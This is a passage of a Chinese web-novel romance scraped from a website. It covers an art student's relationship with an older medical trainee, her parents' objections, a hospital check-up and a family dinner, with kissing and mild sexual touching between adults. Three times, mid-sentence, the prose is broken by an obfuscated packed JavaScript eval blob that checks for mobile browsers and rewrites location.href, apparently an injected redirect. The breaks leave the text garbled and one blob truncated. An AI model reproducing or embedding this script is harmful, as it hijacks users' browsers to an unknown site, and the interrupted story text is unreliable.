是啊,这就是她会喜欢上方嘉年的原因,总是在不经意的地方展露出难言的温柔。 “那……那为什么之后都不跟我说话,在超市还走那么快,连我要说吃冰激凌也不理我?” “你要吃冰激凌?”他皱了一下眉,仿佛真的不知道这件事,“现在下去给你买?” “不不,我不是说我现在要吃,是哥哥当时心不在焉的……” 他“啊”了一声,淡淡道:“因为当时满脑子都想着亲你。” 虞听:“……” 方嘉年:“想快点回去,总不能在外面亲吧?” 虞听:“………………” 按照他那个亲法,确实不好在外面,很有可能会因为妨碍公共治安被抓走。 不过,重点不是这个…… 到底是怎么若无其事地说出这种话的啊?! 虞听真的有种大开眼界的感觉:“你……你跟平时好不一样……” 是男人在色.欲面前都会变成另一副嘴脸吗?方嘉年在这方面的坦诚、直白程度简直令她始料未及,甚至手足无措。 方嘉年笑了:“所以呢,讨厌吗?” 他今晚好像很喜欢问这句话,这已经是第二次问了,就像在不停向她确认一样。 虞听:“……倒也不讨厌。” 她喜欢他在她面前呈现出与平时截然不同的另一面,这样的方嘉年,也许只有她看过。 “还有什么想问的吗?” “没有了……” 方嘉年摸了摸她的头顶,就像在夸奖她做得好一样:“下次也要像这样问出来,不要猜来猜去。我有做得不好的地方,但我正在学习。” 虞听不懂他为什么总是要说学习这两个字,是因为学霸思维么?可是谈恋爱这种事有什么好学习的?自然而然就会了。 “哥哥和我都是第一次恋爱,感到生疏是理所当然的。不用去特意学习,我连哥哥这种生疏的样子也喜欢。” 听着她的回答,方嘉年有些愣怔,接着露出一个笑容,低头再次吻了下来,可就在唇瓣即将相触之际,电话铃声响起了。 来电显示:老爸 虞听猛地一惊,推开身上的人,拿起手机一看,时间已经21:30 ……怎么一下就九点半了?她感觉才进门没多久。 “不接吗?”看着不停振动的手机,方嘉年问。 虞听挠挠脑袋,回头道:“那个……哥哥,爸爸要我十点之前回去,不然他就报警。” “……” 方嘉年深深吸了一口气,微笑道:“听听,下次这种重要的事情,要提前说。” *** 一路紧赶慢赶,终于赶到了小区楼下。 隔老远虞听就看见老爸站在楼下的花坛边,正不停翻看着手机,屏幕的白光照亮他幽怨的脸,一向被称为老实人的男人,在黑暗中竟然有几分隐隐的杀气。 虞听生怕他打开手机是为了拨打报警电话,连忙撒腿跑过去,边跑边喊:“爸爸!我到了!我已经到了!别报警!” 她跑到虞爸面前,拄着膝盖大喘气。 虞爸面无表情,将手机屏幕怼到她眼前,上面大写的数字显示:22:01 “迟到了一分钟。”他冰冷无情地宣判。 “伯父晚上好。” 跟在后面的方嘉年慢条斯理走上前来,先礼貌地打了声招呼,随后解释:“抱歉,路上有点堵车,送听听回来晚了。” 虞听惊讶他居然能面不改色地撒谎,明明就是开车中途突然在路边停下来亲她,耽误了时间,这都能说成是堵车。 她又发现了方嘉年新的一面,原来他也会撒谎。 虞爸听完,冷冷地瞥了他一眼,什么话也没说,对着女儿道:“宝宝,跟爸爸上楼去。” 虞听:“……啊?” 都不寒暄几句的吗?直接就上楼? 以前方嘉年送她回来,爸爸还会热情地拉他上去吃水果呢。 这前后巨大的反差令虞听有些茫然地愣在了原地。 以为她不愿意,虞爸又说了一遍:“跟我上去!” 他从未用这么凶的语气跟女儿说过话。 虞听吓得一抖,迫于老父亲的威压,只能灰溜溜地跟在他身后,进单元门之前,还不忘冲方嘉年比了个手势,意思是回去打电话。 “干什么呢?”走在前面的虞爸像背后长了眼睛一样,转身看着她。 “我没干什么啊?爸爸,只是跟嘉年哥说再见,一声招呼也不打就走不是太没礼貌了吗……” “我还跟他讲礼貌?” 虞爸一肚子火,可看着满脸无辜的女儿,又发泄不出来,只能瞪了依旧站在原地目送他们进楼的方嘉年一眼,随即命令女儿:“走路看前面,别东张西望的。” 回到家三十分钟后,虞听估摸着时间,趁着去浴室洗澡的工夫,偷偷给方嘉年打去电话。 “哥哥,到了吗?” “嗯,刚到。” 他的话音落地,就听见关车门的声响,应该是在停车场。 “刚刚我爸爸有点不礼貌吧?他不是不喜欢你,只是……只是……”虞听找补了半天,最后想出一条合理解释,“只是他最近更年期,对,更年期。” 电话那头,方嘉年笑了一声:“没关系。不过……你爸爸叫你宝宝?” 宝宝两个字,被他说得又低又暧昧,尾音上扬,带着一股故意逗弄她的味道。 虞听顿时羞得满脸通红。 她一直觉得自己的小名很羞耻,几乎三令五申才让外公外婆和舅舅他们改正过来,但爸妈叫顺口了,死活改不过来,一直延续着叫她小名的习惯。 虞听无奈,只能勒令他们不许在人前叫,尤其不许在方嘉年面前叫。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16701232|186945||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>没想到严防死守这么多年,最终还是败于老父亲之口。 难以启齿的小名暴露在喜欢的人面前,这同自己穿尿布的照片被他看到有什么区别,羞耻得令人想死。 “别……别这么叫我……” “为什么?就我不能叫么?宝宝?” “……” 低沉、富有磁性的男性嗓音轻声唤着她的小名,这声音钻入耳道,钻进心里,令她心跳加速,指尖发麻。 “那我也叫你方嘉年了。” “什么?”电话那头传来了荒谬的反问,“你也要像方嘉岁一样,对我没大没小吗?” 训话的语气就像个古板的老学究一样,生怕别人不知道他是个老人家。 虽然虞听自己也觉得喊他的全名很别扭,但没办法,以其人之道还治其人之身,她硬着头皮道:“你总是把我当小孩看,就是因为我叫你哥哥,以后我不这么叫了,我要叫你的名字,方……方嘉年。” 鼓起勇气叫出来的大名,却换来对面的一声嗤笑:“行啊,我没意见,宝宝。” 虞听:“没意见就好。方嘉年,你到家了吗?早点休息。” 方嘉年:“………………” 最终,这场互相叫对方名字的较量,只能以两败俱伤而收场。 洗完澡,回到房间,却见虞妈早就躺在了她的床上。 虞听一愣,心想今晚只怕逃不掉一场审问。 果然等她爬上床,虞妈就开口问了:“你跟方家那个孩子在一起了?” 虞听迟疑了一阵。 反正这事也瞒不住,索性点头承认了。 虞妈见果真是如此,叹了一声气。 这反应似乎不太对劲。 虞听怕她反对,赶紧替方嘉年说好话:“妈妈,嘉年哥人很好的,对我也很好,什么都照顾我,他还替我剥虾呢……” “没说他不好,”虞妈皱眉打断她道,“你不要因为男生的一点小恩小惠就被打动,那算什么?你从小到大,家里谁让你剥过虾,就因为他为你剥过一次就觉得他对你好了?” “那也不是……” 虞听讪讪地不敢说话了,有种自己越描越黑的感觉。 她不是因为方嘉年给她剥虾这件事就觉得他好,而是方方面面的照顾与相处时的细节,可这些又没办法细述给妈妈听。 她忍不住问:“妈妈为什么不喜欢他?” 她明明记得以前方嘉年来家里做客时,妈妈都是夸的,说他长得帅,行事也很沉稳得体。怎么现在就表现出对他的反感了? “我没有不喜欢他,”虞妈再次申明道,“只是觉得他不适合你。” “……哪里不适合?” 虞妈看了眼急着辩解的女儿,真是单纯的年纪,心里想什么都表现在脸上。 “他大你太多了。” 原来是这个原因,虞听松了口气,不在意道:“才六岁而已。” 虞妈:“六岁还不大吗?差了小半轮。他高考的时候,你才小学毕业,他进入社会参加工作了,你还只是个象牙塔里读书的小女孩。六岁不仅仅是年龄差,还是你们之间的阅历、眼界和地位差距。他现在喜欢你的年轻漂亮,天真无邪,可等到你们发现彼此的差距已经造成无法修补的隔阂时,还能坚持当初的喜欢吗?他迟早会遇上比你更为成熟契合的女性。” “他不会的。” 虞听虽然不知道自己的依据从哪里来,但她就是知道,方嘉年不会的。 她以前也担心过妈妈说的这些问题,可实际上真正相处时,他们并没有那么大的差距,至少现在她还没感受到。 虞妈看着她不说话了。 “妈妈,”虞听小心翼翼地问,“你会反对我们在一起吗?” 沉默良久,虞妈最终还是无奈道:“不会。” “真的?” “嗯,这是你喜欢的人,妈妈不会去阻拦和干涉。” 虞听心中一喜,还没来得及露出笑容,门外就传来老父亲破防的大叫:“我不同意!我反对!” 虞听吓了一跳,接着皱起眉头:“爸爸!你不要偷听我和妈妈聊天!” 虞爸还在门外激烈反对:“姓方的那个小赤佬,大宝宝这么多岁!完全是老牛吃嫩草!我坚决不同意!” 什么小赤佬,连临江本地话都骂出来了,太过分了! 虞听立即气得从床上跳起来:“什么老牛吃嫩草!爸爸说话太难听了!你忘了?以前你还夸人家年轻有为呢!” 门外的反对声瞬间偃旗息鼓了,只剩下时断时续的哽咽。 虞妈训诫女儿:“你少说几句,他这几天心里已经很不舒服了,你再把他气哭了,还得我哄。” 虞听:“……” 30. 热恋期11 “叮零零——” 下课铃声响,虞听一秒钟都没犹豫,立马收拾东西走人,却被伸过来的一只手给拦住。 “虞听,这次建校周年庆,学院准备……” “我拒绝。” 匡义呆呆道:“可是我还没说完呢。” 虞听先看了眼腕表,然后分出一分钟耐心,抬起眼皮看着他:“那你说。” “哦……”匡义摸了摸脑袋,继续先前的话题,“这次周年庆,学院领导决定组织一场画作义卖活动,筹措来的资金会捐献给流浪猫狗救助协会,你看你要不要参与一下?” 虞听:“不要。” 匡义:“……” 虞听:“还有事吗?” 匡义:“没有了……” 话音刚落地,虞听就头也不回地出了画室。 留在原地的匡义困惑地挠挠头。 刚刚那一出对话的意义是什么? 奇怪,他怎么感觉最近虞听风风火火的,一打铃就走人,仿佛多待一秒都是她对下课的不尊重。 校门外,虞听一眼就看见了站在车前的那个人。 学校正门前人来人往,可他出众得让人没办法不注意到,无论是高挑的个头,耀眼的外貌,还是虽然简单却格外适合他的衣着,都令人移不开目光,就像某部电影里的场景一样。 记忆突然就回到了中学时,偶尔方嘉年会代替出差的父母来接方嘉岁放学。每当他出现时,总会引来女孩子们叽叽喳喳的讨论声和红着脸偷看他的目光。 方嘉岁嫌丢人,恨不得装不认识绕开他。 虞听没办法理解她这种心情,如果让我和方嘉岁交换一天人生,我一定会当着众人的面跳进他怀里,然后用所有人都能听到的声音叫他一声“哥哥”。 那时的她是这么想的。 而现在,梦想的画面竟然生动地上演了。 虞听脚步轻盈得如同一只白鸽,飞奔着扑入方嘉年的怀里,一如她曾经幻想的那样。 只是,除了一点—— “嘉年……啊。” 口中的“哥”字绕了个弯,被她生硬地咽了下去,换成了一句“嘉年啊”。 果不其然,搂住她的方嘉年皱起了眉头:“还要跟我这么没大没小下去吗?” 虞听将脸埋在他胸膛,忍不住笑了。 在两人的称呼问题上,方嘉年意外的固执。明明平时对方嘉岁喊他大名的行为无动于衷,却无法容忍虞听对他直呼其名。 其实虞听也听不得他叫自己那羞耻感爆棚的小名,经过一番两败俱伤的较量,他们最终还是决定维持对彼此原来的称呼,只是偶尔虞听也忍不住皮一下,因为方嘉年听到她连名带姓叫他时的反应太有趣了。 “真是的,有人说过哥哥是老古板吗?又不是亲哥哥,叫下名字怎么了?” 虞听嘟嘟囔囔地抱怨。 “对大你六岁的人直呼其名?礼仪都学到哪里去了?” “老人家啊,完全就是老人家。” 方嘉年揪了下她鼓起来的脸颊,暂且先不计较她的口出狂言,替她打开车门:“先上车吧。” 虞听钻了进去,不出一分钟,方嘉年也绕过车头坐了进来。 “砰”地一声,车门关闭,高大的身形靠过来,鼻腔瞬间盈满他身上的香气。 侧脸被大手固定住,虞听闭上眼睛,急切的吻如雨点般落了下来。 “唔………” 现在已经学会如何在亲吻的间隙换气了,双手也会熟练地挂上他的脖子,在被动承受的同时,虞听偶尔还会主动亲吻回去,这往往会换来方嘉年更加凶猛的攻势。 结束时,方嘉年习惯埋在她的肩颈处平复片刻,有时还会咬她的脖子一口。 “今天画画了吗?” “……有味道吗?” 虞听拎起衣服闻了闻,油画的一些颜料和稀释剂有刺激性味道,别人闻着会很刺鼻,但她长期在画室待着,已经闻习惯了。 “早知道就在出来前先去洗个澡了。” 艺术学院条件很好,教学楼配备了学生专用的淋浴隔间。 “到家了洗吧。” 方嘉年亲了她的鼻尖一口,随即替她系上安全带,启动车子离开。 虞听抬手拉下车内镜,看见镜子里的自己衣襟散乱,眼含春.水,羞得脸一红,赶紧整理衣领。 再转头去看方嘉年,衣衫整齐,面色平静,像丝毫没有受到方才那个吻的影响,她不免感叹,真是衣冠禽兽。 “在看什么?” 明明目视前方,但方嘉年总有注意到她在偷看他的本事。 “没什么,”虞听托腮微笑,被发现了,索性光明正大地看他,“开车的哥哥真帅。” “……” 是天生性格的原因吗?虞听在恋爱中总是格外坦诚,被帅到了就老实地夸哥哥帅,体验到亲吻的乐趣后,也会积极大胆地主动索取,对自己的色.欲毫不掩饰,虽然有时也会羞涩,但没有寻常女孩子会有的忸怩。 “不过哥哥,我今天上通识课,遇到高中时的老熟人了。” 方嘉年还沉浸在上一句话里,她已经自然而然地切换了话题。 “然后呢?” “然后我们就聊了会儿天,结果你猜怎么着,发现我们上学期也一起上了课!但是我们一次也没遇见过,也不知道在一个班里,是不是很神奇?” “男生女生?” “女生。” “嗯。” 对话很平淡,但虞听很喜欢这样平平淡淡地聊天,她把在学校里发生的事说给他听,而方嘉年也会一一回应。这样稀松日常的对话,就是从前她向往的画面。 开学了,偶尔在方嘉年下班早的日子里,他就会像这样来学校接她下课,然后两人一起牵着手去逛超市,买菜回去做饭。 “我喜欢会做饭的人,特别帅气。” 公寓里,洗完澡的虞听坐在岛台前,身上穿着借来的方嘉年的T恤。她一边用勺子舀着酸奶吃,一边观赏着正在做饭的人。 方嘉年熟练地处理着鱼腹,清洗干净后,在鱼身上开背改刀,划出漂亮的刀花。 因为是医学生吗?他用刀的姿势利落极了,动作为什么那么专业?美男杀鱼,简直赏心悦目。 痴迷的眼神令方嘉年投来一瞥,薄唇微动。 虞听马上猜到他要说什么,大概率是以后不要看别人做饭。 在很多事上,方嘉年总是有一些奇奇怪怪的占有欲。 如果夸开车的人帅,就会说以后不能坐别人的车。 如果夸饭桌上照顾人的男生有魅力,就说不能再和别人一起吃饭。 这种幼稚又小心眼的发言简直不像他会说的话,但虞听却觉得很可爱。 她舀了一勺酸奶,递到方嘉年唇边:“啊。” 像喂小孩子一样的方式,令方嘉年脸上闪过一丝不自然:“我不吃。” 虞听:“是哥哥买的,为什么不吃?” 看着她坚持的眼神,方嘉年犹豫片刻,最终还是张开唇吃了。 过于甜的口味令他狠狠地皱了下眉。 “好吃吗?”虞听托着下巴笑眯眯地问。 “难吃。”传来的回答是毫不犹豫的。 “哈哈哈……” 虞听笑得更放肆了。 方嘉年不爱吃甜食,也不喜欢吃饭后水果,连西餐也不喜欢,虞听爱吃的披萨、炸鸡、汉堡、可乐这些对他来说更是垃圾食品。 他喜欢中规中矩的中餐,自己做的更好,去店里吃的话,不仅要求荤素搭配,一定还要有一道汤,饮食上口味偏清淡。 总的来说,就是老人家的口味。 饭后,两人一起刷完牙,又滚去了沙发上。 虞听逐渐爱上了接吻的感觉,这一定是人类最适合用来表达亲密的方式。除了方嘉年,她无法想象与任何人做这件事。 她喜欢方嘉年激烈又野蛮地侵入她柔软的口腔,勾.缠着她的舌头.吸.吮,轻轻刮擦她的上颚,口水.交.缠的声音在室内如此地响亮而清晰,她伸指探入他的后脑,柔软发丝擦过指间,带来一种清凉感受。 “啊……” 突然从T恤下摆伸进来的手令虞听一阵战栗,情不自禁地拱起身体,下巴与纤长脖颈连成一道漂亮曲线。 又来了…… 最近亲吻时,方嘉年频频抚摸她的身体,有时手还会钻进衣服里。 看上去像是清冷寡欲的人,只有在这种时候,才会让人感叹原来他也会有欲.望。 在衣服下四处游走的手来到了肋骨边缘,虞听这里最怕痒,忍不住瑟缩了一下,脚趾头都蜷缩起来。 “痒……别、别摸… ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16704379|186945||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' …”她不停躲闪。 方嘉年用体重压着她,让她不能乱动,手指悄悄移到她的肚脐处,像要给她开刀一样,沿着那条中线向上缓慢移动。 “你一吸气,这里就会凹陷。”说话的嗓音低哑得要命。 “哥,你别说这种话……” 虞听捂住发烫的脸。 太那个了…… 指尖继续上移,停在那里不动了。 虞听被这不上不下的感觉吊得难受,既渴望他更进一步,又本能地害怕接下来会发生的事。 “哥……嘉年哥……” “嗯?”回应她的声音懒洋洋的,就像在逗弄猎物的野兽。 “嘉年哥……” “为什么总是喊我?”方嘉年埋在她颈窝里,扑哧笑了出声。 热气喷洒在脖间的肌肤上,令虞听面红耳赤,她也不知道为什么要叫他,结结巴巴地给自己的行为找借口:“我……我害怕,我一怕就忍不住叫别人……” “真的害怕吗?那为什么抓这么紧?” 方嘉年示意她低头去看,一只白色的手紧紧地抓着衣服下摆,将布料都给抓皱了,甚至隐隐露出下面的腹肌一角。 此情此景,就像她故意要揩他的油一样。 虞听脸一红,正要不好意思地松开手,却被反握住了手腕。 方嘉年的眼神瞬间变了,就像竖起了尖刺,幽深的眼睛里染上欲.望的色泽,与此同时,粗暴的吻压了下来,呼吸被瞬间堵住。 就在两人吻得愈发投入之时,放在茶几上的手机传来振动声,他停下亲吻,扭头正要去查看,却被呼吸急促的虞听捧住下巴。 “别,别去管……” 她鲁莽又急切地吻了上来,方嘉年很快忘记了还在振动的手机,转头回应她的吻。 可拨打电话的人就像是锲而不舍一样,手机一直发出振动声,方嘉年最终还是停了下来,一只手按住还要来继续索吻的虞听,长胳膊一伸,捞起手机接通电话。 “什么事?” 虞听躺在沙发上,面无表情地看他简短地与那边对话几句,随即挂掉电话,叹了口气,对她说:“医院的电话,叫我回去一趟。” “……我就知道!” 这种事已经不是第一次发生了,虞听非常生气:“干吗把已经下了班的人叫回去?哥哥还是学生,又不是医院的正式员工,就这么压榨你吗?这符合劳动法规定吗?” 她沉下脸,漂亮的眉眼流泻出浓浓怒火:“我要把医院一把火烧了!” 方嘉年轻轻笑了一声:“放火要去坐牢的。” “那哥哥会来监狱里看我吗?” “我进去陪你。” 虞听顿了一下,纠结道:“可是,男女是分监的。” “是吗?”方嘉年挑了下眉,口吻淡淡,“那就只能越狱了。” “……” 虞听扑哧一声笑了出来:“怎么这么幼稚。” “可能是因为跟幼稚的人在一起待多了吧,我也变得幼稚了。” “是想说近墨者黑吗?” “是近朱者赤。” 他纠正她,在她眉心处吻了一下,随即拉她起来道:“走吧,送你回去。” “不用了,哥哥直接去医院吧,我自己打车回去就行。” 方嘉年皱眉看过来。 他是个作风很老派的人,遵循约会完一定要把女士送回家的古老传统。如果是平时,虞听会让他送,但当医院有急事找他时,她就会提出自己回家。 他这次转去的科室的带教老师特别凶,是个秃顶的中年男人,上回虞听偶然撞见他对着迟到的方嘉年破口大骂,气得她差点没冲出去薅光那男人头顶仅剩的头发。 “是真的,”虞听坚持道,“为了你们老师的头发着想,我还是打车回去吧,哥哥去医院,不要迟到。” “到家了给我打电话。”方嘉年不放心地叮嘱。 “嗯。” “去换衣服吧,我看着你上车了再走。” 最终,方嘉年拍下出租车的尾号后,才在夜色中目送着她上车离去。 虞听看着后视镜中那个逐渐远去的身影,抬手摘下头顶的帽子。 这是出门前方嘉年特意给她戴上的。 摸着棒球帽上那个刺绣字母标志,她叹息一声。 不想和他分开。 31. 热恋期12 回到家,正好碰上在客厅看电视的爸爸。 虞爸握着遥控器,惊讶地看着从玄关门口进来的女儿:“今天怎么这么早就回来了?” 自从得知她与方嘉年恋爱后,家里给她设下的门禁时间就提前到了九点。 本来虞爸还想改成八点,被虞听强烈反对才作罢。而她只要和方嘉年有约会,次次都是踩着线才回来,绝对不提早一分钟回家。 今天虞听心情不是很好,没有回答这个问题,反问老爸:“在看什么呢?” 虞爸:“《甄嬛传》。” “怎么又看这个?”虞听走到客厅沙发坐下,看向暂停的电视屏幕,“演到第几集了?” “滴血验亲这集。”虞爸拿起遥控器,点了恢复播放,“宝宝饿不饿?” 虞听摇头:“我吃过了。” “那吃点水果,”虞爸说着,突然看她一眼,“头上这帽子哪儿来的?” “好看吗?”虞听凑过去让他细看。 那顶棒球帽比她的头围大了一圈,即使调到最小了,也依然遮住了大半张脸。 一看就是某个男人的。 虞爸心里打翻了醋瓶,故意挑刺说:“不好看。” 虞听摘了帽子,叹气:“……还是看电视吧。” 父女两个一起专心地看了起来,正要演到瓜6喊出那句“臣妾要告发熹贵妃私通”的名台词的时候,虞妈回来了。 见到父女俩一起坐在沙发上看电视,虞妈也挺意外:“宝宝也回来了?正好。” 虞爸一见老婆回来了,连电视也不看了,像条狗似的扑上去献殷勤,又是给老婆拿包,又是给老婆递拖鞋,还问虞妈饿不饿,他去给她做饭。 “我吃过了,让开。”虞妈推开他,走去客厅坐在女儿身边,“宝宝吃饭了没有?” “吃啦。” 虞妈仔细端详她:“怎么一脸不开心的样子?” “没有啊,”虞听强撑笑脸,“妈妈下班辛苦啦,要我给你按摩吗?” “我来我来。” 虞爸抢走了这个活计,坐在沙发后给老婆按起肩颈来。 虞妈享受着按摩,一边说:“明天不在家吃饭,单位上一个同事病了,要去探望一下。” 虞听一听这话,眼睛亮起来。 那岂不是可以跟嘉年哥相处久一点了?她得去问问他明天什么班,不,干脆让他调休好了,可以一起玩一整天! 虞妈只消扫她一眼就看出她在想什么,淡淡地说:“你也一起去。” 虞听石化了:“我为什么也要去?” 虞妈:“生病的是秦阿姨,你也认识,以前经常抱过你的。” 虞爸随口问:“她生的什么病?” “肠癌。” “啊?”父女两个异口同声。 “而且已经是晚期了。”虞妈叹了声气。 虞爸:“你们单位不是每年都有体检吗?怎么还会查出来晚期。” 虞妈:“单位体检就那几个项目,能查出什么。” “也是,”虞爸也叹气,“看来每年做个全套体检还是很有必要的,要不趁着这个机会,我们也去体检一下?” 听到这里,虞听立马举手道:“我同意!” 虞爸虞妈不约而同向她投来视线,不知道女儿为什么突然这么积极。 虞听一本正经:“爸爸妈妈的身体最重要了,体检这件事就由我来安排吧。” “真的?”虞爸感动得热泪盈眶,“我们宝宝什么时候长这么大了?都可以安排这些事了。啊……所以说要生女儿啊,女儿就是爸爸妈妈的贴心小棉袄。” 虞妈比他理智一点,还没被虞听突如其来的关心冲昏头脑,问她:“你会买体检套餐吗?不同的医院套餐不一样,我和你爸爸……” 贴心小棉袄非常靠谱地保证道:“放心吧,包在我身上了。” 等回到房间,她马上给方嘉年发去消息。 猫咪不吃鱼:哥,你们医院有体检套餐吗? 也许是现在还不忙,方嘉年很快回复了消息。 嘉年哥:有。怎么了? 猫咪不吃鱼:我爸爸妈妈想要体检。 消息在几分钟后到来。 嘉年哥:我来安排。 *** 体检安排在了下周六,正好是虞爸虞妈休息的时间,虞听也不用上课,可以陪他们一起去。 体检当天,看着穿白大褂等候在大厅里的人,虞家两口子对视一眼,总算知道女儿打的是什么鬼主意了。 “伯父好,伯母好。” 方嘉年向两人礼貌地点头问候,目光滑过虞听时,她冲他眨了眨眼,方嘉年淡淡地移开视线。 虞爸不想理他,但虞妈还是要做场面功夫的,僵硬地笑了笑:“你……” 一时有些词穷,不知道该怎么称呼他,顿了顿,决定含糊过去:“……在这家医院工作?” 她倒是听说过方家孩子在学医,但是不知道他就在附二上班。女儿说要来附二体检的时候,因为这是临江有名的三甲医院,她也没有反对。 现在看来,原来是醉翁之意不在酒了。 “是,还在规培阶段,还没正式入职。”方嘉年回答完,又道,“伯母叫我名字就好。” “呵呵,那就像以前一样,叫你嘉年好了。” 方嘉年点了下头:“请往这边走吧,预约的时间是九点半,要先去前台录入身份信息。” 这是什么意思,虞妈一愣:“你要带我们过去?” “是,”方嘉年看向后面满脸心虚的虞听,就知道她什么也没跟家里说了,“医院有熟人带着的话会方便一些。” 虞妈看了眼脸色黑如锅底的虞爸,呵呵笑了两声:“不用了吧,别耽误你的工作。” 方嘉年:“今天正好休息,请不用介意。” 虞妈:“……” 虞听挽着妈妈的胳膊:“是啊,就让嘉年哥带吧,他在这里工作,比我们更熟悉路。” 见过胳膊肘往外拐的,却没见过这么往外拐的。 虞爸气得扭头就走,却被方嘉年在背后叫住。 “您走错了,是这个方向。” “……” 虞爸气得又走了回来,往相反的方向走去。 虞听在后面憋着笑,肩膀直颤。 实际上进去了根本不需要方嘉年带领,有护士会给他们带路,顶多就是有个本院人士带着,医护人员的态度会更亲切。 当然这可能也不是衣服的原因,长着一张这样的脸,去哪里都会给他开后门的。 在虞爸虞妈进去做检查时,两人就坐在门口的长椅上聊天。 “你们医院是不是效益不行啊?”虞听好奇地问,“来体检的人这么少,都不用排队。” “这是VIP通道,普通体检的人会更多。”方嘉年解释。 “哇,那是不是价格也会更贵?” 虞听根本不知道套餐的价格,方嘉年什么也没告诉她,定下之后,只给她发来一条体检注意事项的消息。 “不用担心这些,”方嘉年说,又侧头问她,“既然来了,要不要给你也做个体检?” “我不用做,”虞听道,“入学的时候做过了,我的身体特别健康。” 方嘉年笑了笑,忽见虞听神采奕奕地盯着他看,眼中闪着光芒。他见过很多次虞听这样的眼神,大部分是她对他起了色心的时候。 “……怎么了?” “嘉年哥,”虞听拉扯着他的袖口,嗓音甜得发腻,“这件白大褂,你可不可以带回家啊,下次和我约会的时候……” 方嘉年还没听完就已经知道她要说什么了,立即拒绝:“不可以,工作服不能带回家,上面全是病菌。” “哎……洗一下不就好了?”虞听开始摇晃他的袖子。 “不行。”方嘉年不留情面地挥开她的手。 可是他穿白大褂真的好帅……瞬间让虞听脑子里掠过无数废料,比如什么冰山医生俏护士之类的。 虞听贼心不死:“那可以带个听诊器回家吗?” 方嘉年:“……这是医院公共财产。” 虞听:“偷偷地带嘛。” 方嘉年用余光示意:“你爸妈出来了。” 听闻此言,虞听立马正襟危坐,乖得完全看不出是三秒钟之前还在怂恿别人盗窃医院财产的人。 体检结束正好是中午,方嘉年提议去吃一顿饭。 虞妈本想拒绝,可一听他连餐厅都订好了,只能坐上了他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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“做男人的,怎么能不喝酒?”虞爸马上打断。 方嘉年沉默了一会儿,偏头跟主厨交代了一支红酒的名字。 主菜是安格斯肉眼牛排。 方嘉年将牛排切成一块块均匀大小,刚好方便入口,将盘子推给虞听,又给她铺好餐巾,连酱汁都替她淋好了。 “慢慢嚼完了再吃。” “谢谢哥哥。”虞听拿叉子叉起一小块肉吃进嘴里。 看着他这副殷勤备至的模样,虞爸不知哪根敏感神经被戳中了,又开始挑刺:“听说你很会剥虾?” 方嘉年一边倒着红酒道:“正在学习中,还远远及不上伯父。” 这话又把虞爸给听舒服了。 那是,也不看看他这剥虾的功力是多少年练成的。 他立马摆出一副谄媚嘴脸,体贴地问旁边的虞妈:“老婆,要给你切牛排吗?” 虞妈:“吃你的吧。” 虞爸:“……” 红酒温和醇厚,搭配牛排是绝佳的味觉享受。本来红酒需要慢慢品,但虞爸有意给方嘉年一个下马威,拉着他一杯又一杯地喝,愣是将顶级红酒喝出了二锅头的架势。 前两次交锋告一段落后,虞爸又不死心地发起第三次冲锋。 “你现在是在读研究生?” “是,研二。” “那还有一年就毕业了,未来有什么打算?” “打算一边读博,一边工作。” 虞爸打了个酒嗝,眼睛已经被酒意熏得有些发红:“医院应该不好进吧?” “是,”方嘉年颔首道,“不过目前已经收到几家医院的入职邀约了,所以不用担心。” “……” 仿佛看不见老爸难看的表情,吃着牛排的虞听没心没肺道:“爸爸,嘉年哥很优秀的,经常在sci上发表文章呢。你知道sci是什么吗?” 虞爸:“我知道!” 他也是读过大学的!虽然读的是文科。 “我听说读医学博士的人头发都少,你以后不会也这样吧?”三次攻势频频败北,虞爸恶毒地发起了人身攻击。 方嘉年正要说话,表情却蓦地一顿。 餐桌下,在所有人都注意不到的地方,有一只手悄悄地摸上了他的大腿。 32. 热恋期13 虞听早就想这么干了。 脱下白大褂后才知道,方嘉年在里面居然穿了一身正装。 虞听上次见他穿正装还是当年他去给方嘉岁开家长会,西装革履的他勾起了一些久远的回忆。 方嘉年一定是世界上最适合穿西装的男人,他有一具完美的骨架,身形高挑,肩膀宽阔,西装裤下的大长腿就像随时要去国际秀场上走秀的男模一样。 虞听被他迷得神魂颠倒,想当场跳去他身上像大猩猩一样嚎叫。 太帅了,帅得她两只眼睛里都在发射爱心。 可当他坐下来后一句句回答着老爸提出的问题时,她又有些想笑。 那么正经,仿佛昨天那个追着她不停亲的人不是他一样。 啊……好像破坏他这副道貌岸然的样子。 如果偷偷摸一下,他会怎么样呢? 这样想着,虞听胆大包天地伸出了色爪,借着桌布的掩饰,摸上他硬实的大腿。 西装裤布料冰冷顺滑,垂坠感极佳。下面的肌肉绷紧,手感变得愈发坚硬。 手往中心挪去,能感受到沉甸甸的体积,只要稍微揉搓几下的话…… 方嘉年淡淡地投来一眼。 虞听心底快要笑疯了,面上却佯装不知:“哥哥,快回答我爸爸的话呀,他问你以后会不会秃头?” 不等方嘉年说话,她又主动代他回答:“不会的,爸爸,秃头是基因决定的。我上次见方叔叔,他头顶的头发还很茂盛呢。” “我问的是他,宝宝今天怎么总是帮外人说话……” 